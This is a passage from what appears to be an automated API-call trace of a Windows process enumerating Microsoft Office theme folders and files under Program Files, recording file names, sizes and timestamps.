ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.123] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.123] GetProcessHeap () returned 0x550000 [0083.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.123] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0083.123] GetProcessHeap () returned 0x550000 [0083.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.124] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.124] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0083.124] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.INF", cAlternateFileName="")) returned 1 [0083.125] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.125] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.125] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.125] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.125] GetProcessHeap () returned 0x550000 [0083.125] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.125] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0083.126] GetProcessHeap () returned 0x550000 [0083.126] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.128] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.128] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0083.129] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0083.129] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.129] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.129] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4981, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.129] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.132] GetProcessHeap () returned 0x550000 [0083.132] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.132] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0083.132] GetProcessHeap () returned 0x550000 [0083.132] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.137] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.138] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.139] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.139] GetProcessHeap () returned 0x550000 [0083.139] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.139] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0083.139] GetProcessHeap () returned 0x550000 [0083.139] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.140] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.140] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f26d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f26d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1015d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.ELM", cAlternateFileName="")) returned 1 [0083.140] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS.INF", cAlternateFileName="")) returned 1 [0083.140] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.141] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.141] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.141] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.141] GetProcessHeap () returned 0x550000 [0083.141] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.141] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0083.141] GetProcessHeap () returned 0x550000 [0083.142] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0083.143] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8239a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8239a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xba32, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.ELM", cAlternateFileName="")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL.INF", cAlternateFileName="")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0083.144] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0083.145] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0083.145] GetProcessHeap () returned 0x550000 [0083.145] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0083.145] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0083.145] GetProcessHeap () returned 0x550000 [0083.145] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0083.145] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, 